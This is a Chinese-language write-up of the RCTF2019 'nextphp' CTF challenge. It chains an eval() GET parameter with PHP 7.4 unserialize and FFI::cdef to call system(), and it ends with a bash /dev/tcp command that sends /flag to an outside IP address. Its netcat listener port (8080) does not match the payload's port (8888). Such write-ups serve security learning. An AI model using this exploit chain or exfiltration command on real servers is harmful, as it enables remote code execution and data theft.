RCTF2019(nextphp)
Posted sylover
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了RCTF2019(nextphp)相关的知识,希望对你有一定的参考价值。
题目给的代码很简单
<?php if (isset($_GET[‘a‘])) { eval($_GET[‘a‘]); } else { show_source(__FILE__); }
这里的a可以作为代码执行。
例如url?a=echo phpinfo();
禁用函数中不含scanfdir函数
scandir函数:
因此打印根目录文件 a=var_dump(scandir(‘var/www/html‘));
查看源码:
a = file_get_contents(‘xxx.php‘);
<?php final class A implements Serializable { protected $data = [ ‘ret‘ => null, ‘func‘ => ‘print_r‘, ‘arg‘ => ‘1‘ ]; private function run () { $this->data[‘ret‘] = $this->data[‘func‘]($this->data[‘arg‘]); } public function __serialize(): array { return $this->data; } public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); } public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { return $this->data[$key]; } public function __set ($key, $value) { throw new Exception(‘No implemented‘); } public function __construct () { throw new Exception(‘No implemented‘); } }
php7.4 __unserialize 新的自定义对象序列化机制
对象序列化时会触发run方法:
private function run () { $this->data[‘ret‘] = $this->data[‘func‘]($this->data[‘arg‘]); }
_get()获取元素的值
public function __get ($key) { return $this->data[$key]; }
这里采用代码注入的方式,传入一个序列化字符串,触发反序列化函数。
a=include(‘preload.php‘);var_dump(unserialize(‘C:1:"A":150:{a:3:{s:3:"ret";N;s:4:"func";s:7:"print_r";s:3:"arg";a:3:{s:1:"a";s:5:"apple";s:1:"b";s:6:"banana";s:1:"c";a:3:{i:0;s:1:"x";i:1;s:1:"y";i:2;s:1:"z";}}}}‘)->__get(‘ret‘));
打印数组
这里成功的使用print_r函数去打印我们传入的数组,因此这里可以用这个方法去定义函数引用函数,现在就需要解决命令执行的问题。
这里禁用了命令执行的一些函数。
学习一种新的手段。
preload.php 这个文件名也是一个提示,Google一下这个preload。
PHP / FFI /预加载
这个FFI的原理就是在php中可以调用c语言中的库,因此可以借助c语言去命令执行
php.ini配置使用preload预加载与FFI扩展,FFI中可以进行命令执行。
构造序列化
<?php final class A implements Serializable { protected $data = [ ‘ret‘ => null, ‘func‘ => ‘FFI::cdef‘, ‘arg‘ => ‘int system(const char *command);‘ ]; private function run () { $this->data[‘ret‘] = $this->data[‘func‘]($this->data[‘arg‘]); } public function __serialize(): array { return $this->data; } public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); } public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { //获取元素的值 return $this->data[$key]; } public function __set ($key, $value) { throw new Exception(‘No implemented‘); } public function __construct () { throw new Exception(‘No implemented‘); } } $obj = new A; $ser = serialize($obj); echo $ser;
这段代码要在php7下运行。
payload:C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}}
a=unserialize(‘C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}}‘)->__get(‘ret‘)->system(‘bash -c "cat /flag > /dev/tcp/106.54.106.194/8888"‘);
在自己vps上 nc -lvnp 8080
以上是关于RCTF2019(nextphp)的主要内容,如果未能解决你的问题,请参考以下文章